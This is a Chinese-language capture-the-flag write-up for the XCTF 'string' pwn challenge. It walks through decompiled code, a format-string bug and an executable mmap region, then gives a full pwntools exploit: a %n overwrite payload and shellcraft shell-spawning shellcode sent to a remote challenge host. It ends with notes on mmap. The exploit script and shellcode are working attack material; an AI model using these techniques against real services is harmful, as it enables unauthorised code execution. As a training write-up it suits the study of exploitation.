1:checksec
hunter@hunter:~/PWN/XCTF/xctf_easy$ checksec string
[*] '/home/hunter/PWN/XCTF/xctf_easy/string'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
保护全开有点狠,但是不用慌,这应该告诉我们栈溢出控制程序是不可能的了
2:IDA
程序比较大,下面是进行拆分排序后的函数组合
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_DWORD *v3; // rax
__int64 v4; // ST18_8
setbuf(stdout, 0LL);
alarm(60u);
sub_400996(); // 菜单输出,不用在意
v3 = malloc(8uLL); // 开辟内存空间
v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2); // 将输出第一个和第二个元素的地址
//
printf("secret[1] is %x\n", v4 + 4);
puts("do not tell anyone ");
sub_400D72(v4); // 将开辟内存空间传入该函数
puts("The End.....Really?");
return 0LL;
}
sub_400D72函数:
// a1是前面开辟内存空间的地址
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(40u);
puts("What should your character's name be:");
_isoc99_scanf((__int64)"%s", (__int64)&s);
if ( strlen(&s) <= 12 )
{
puts("Creating a new player.");
sub_400A7D(); // 只能输入east
sub_400BB9(); // 格式化字符串漏洞
sub_400CA6((_DWORD *)a1); // 映射一个大小为4096字节的空间 该空间由读写执行权 传入了开辟空间的地址a1
}
else
{
puts("Hei! What's up!");
}
return __readfsqword(0x28u) ^ v3;
}
sub_400A7D函数:执行后我们能且只能输入east,没多大用
sub_400BB9函数:
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf((__int64)"%ld", (__int64)&v2);
puts("And, you wish is:");
_isoc99_scanf((__int64)"%s", (__int64)&format);
puts("Your wish is");
printf(&format, &format); // 格式化字符串漏洞
//
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}
sub_400CA6((_DWORD *)a1)函数:
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(40u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] ) // 第一个元素等于第二个元素,这两个元素地址是相邻的
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 4096uLL, 7, 33, -1, 0LL); // 映射一个大小为4096字节的空间 该空间有读写执行权
read(0, v1, 256uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); //这里比较难理解
}
return __readfsqword(0x28u) ^ v3;
}
3:解决疑难语句
对于((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);这条语句我查了半天也没怎么理解,也就是说这个伪代码看不懂。在这种时候千万别忘了我们还可以看反汇编内容!!这一块区域的反汇编:
mov edi, offset aWizardIWillHel ; "Wizard: I will help you! USE YOU SPELL"
call puts
mov r9d, 0 ; offset
mov r8d, 0FFFFFFFFh ; fd
mov ecx, 33 ; flags
mov edx, 7 ; prot
mov esi, 4096 ; len
mov edi, 0 ; addr
call mmap
mov [rbp+buf], rax
mov rax, [rbp+buf]
mov edx, 256 ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call read
mov rax, [rbp+buf]
mov edi, 0
call rax
1-2:显然是对应:puts(“Wizard: I will help you! USE YOU SPELL”);这条语句,执行了这一条就能说明程序进入了if语句
3-9:是执行了mmap函数,先是将该函数的参数从右到左传入寄存器和一些特别的地方,最后进行调用mmap函数
10-15:主要是执行read函数,但我们可以发现这一段除了将传read函数的参数,还进行了其他操作。即第10第11条,将rax的值赋给[rbp+buf]代表的地址上面,又将[rbp+buf]代表的地址赋给rax。在传buf参数时,是将rax放入rsi,所以这个read函数将会入读数据到rax存放的地址上。结合IDA伪代码,这个地址就是可读可写可执行内存区,即[rbp+buf]所代表的地址。
16-18:将[rbp+buf]地址放入rax,17行应该不重要,18行就像调用函数一样直接调用rax。那么我们可以肯定((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1)可以执行程序读入的代码
探究
1.main函数主要功能:开辟一个8字节的内存空间,该空间第一个元素大小赋值为68第二个元素大小赋值为85 ,输出两者的地址,然后进入sub_400D72(v4)函数
2.sub_400D72(v4)函数主要功能:输入一串字符作为角色名字,然后依次执行sub_400A7D() sub_400BB9() sub_400CA6((_DWORD *)a1)函数
3:sub_400A7D()函数主要功能:让用户输入test字符串,才能继续执行
4:sub_400BB9() 函数主要功能:输入1进入if语句,在该语句中先输入整数,再输入字符串,该字符串和后面的printf构成格式化字符串漏洞
5:sub_400CA6((_DWORD *)a1)函数主要功能:输出一堆废话 但是如果main函数中所开辟的空间中的第一个元素等于第二个元素,将映射一个有读写执行权的空间。然后在读取输入到空间中,最后那一串语句盲猜是要执行那段空间里面的数据
思路
从main函数中得到两元素地址,在要执行sub_400BB9()函数时利用其包括的格式化字符串漏洞,改两个元素的值使其相等。这样在执行sub_400CA6((_DWORD *)a1)函数时就可以输入shellcode到一个映射空间,由下面的语句执行空间中的shellcode
4:exp
from pwn import*
context(arch='amd64',os='linux')
context.log_level = 'debug'
#sh = process('./string')
sh = remote("220.249.52.133",32219)
sh.recvuntil('[0] is ')
addr1 = int(sh.recvuntil('\n'), 16) //获取地址
sh.recvuntil('[1] is ')
addr2 = int(sh.recvuntil('\n'),16) //获取地址
print addr1
print addr2
print type(addr1)
sh.recv()
payload1 = 'HUNTER'
sh.sendline(payload1)
sh.recv()
payload2 = 'east'
sh.sendline(payload2)
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('123')
sh.recv()
#formal bug
payload3 = "AAA%082d" + "%10$nAAA" + p64(addr1) #构造格式化字符串payload时要注意参数位置,以及对应程序操作位数
#gdb.attach(sh)
sh.sendline(payload3)
sh.recv()
#input shell
'''
payload4 = ""
payload4 += "\x01\x30\x8f\xe2"
payload4 += "\x13\xff\x2f\xe1"
payload4 += "\x78\x46\x0e\x30"
payload4 += "\x01\x90\x49\x1a"
payload4 += "\x92\x1a\x08\x27"
payload4 += "\xc2\x51\x03\x37"
payload4 += "\x01\xdf\x2f\x62"
payload4 += "\x69\x6e\x2f\x2f"
payload4 += "\x73\x68"
'''
payload4 = asm(shellcraft.sh())
sh.sendline(payload4)
sh.interactive()
5:知识点
mmap函数
mmap函数是unix/linux下的系统调用。
当存在客户-服务程序中复制文件时候,其数据流如下,要经历四次数据复制,开销很大。
如果采用共享内存的方式,那么将大大优化IO操作,数据流变成了如下,数据只复制两次:
映射文件或设备到内存中,取消映射就是munmap函数。
语法如下:
void mmap(void addr, size_t length, int prot, int flags, int fd, off_t offset);
int munmap(void *addr, size_t length);
该函数主要用途有三个:
1、将普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,用内存读写取代I/O读写,以获得较高的性能;
2、将特殊文件进行匿名内存映射,为关联进程提供共享内存空间;
3、为无关联的进程间的Posix共享内存(SystemV的共享内存操作是shmget/shmat)
我们来看下函数的入参选择:
1、参数addr:
指向欲映射的内存起始地址,通常设为 NULL,代表让系统自动选定地址,映射成功后返回该地址。
2、参数length:
代表将文件中多大的部分映射到内存。
3、参数prot:
映射区域的保护方式。可以为以下几种方式的组合:
PROT_EXEC 映射区域可被执行
PROT_READ 映射区域可被读取
PROT_WRITE 映射区域可被写入
PROT_NONE 映射区域不能存取
4、参数flags:
影响映射区域的各种特性。在调用mmap()时必须要指定MAP_SHARED 或MAP_PRIVATE。
MAP_FIXED 如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此。
MAP_SHARED对映射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享。
MAP_PRIVATE 对映射区域的写入操作会产生一个映射文件的复制,即私人的“写入时复制”(copy on write)对此区域作的任何修改都不会写回原来的文件内容。
MAP_ANONYMOUS建立匿名映射。此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享。
MAP_DENYWRITE只允许对映射区域的写入操作,其他对文件直接写入的操作将会被拒绝。
MAP_LOCKED 将映射区域锁定住,这表示该区域不会被置换(swap)。
5、参数fd:
要映射到内存中的文件描述符。如果使用匿名内存映射时,即flags中设置了MAP_ANONYMOUS,fd设为-1。
6、参数offset:
文件映射的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。如下图内存映射文件的示例。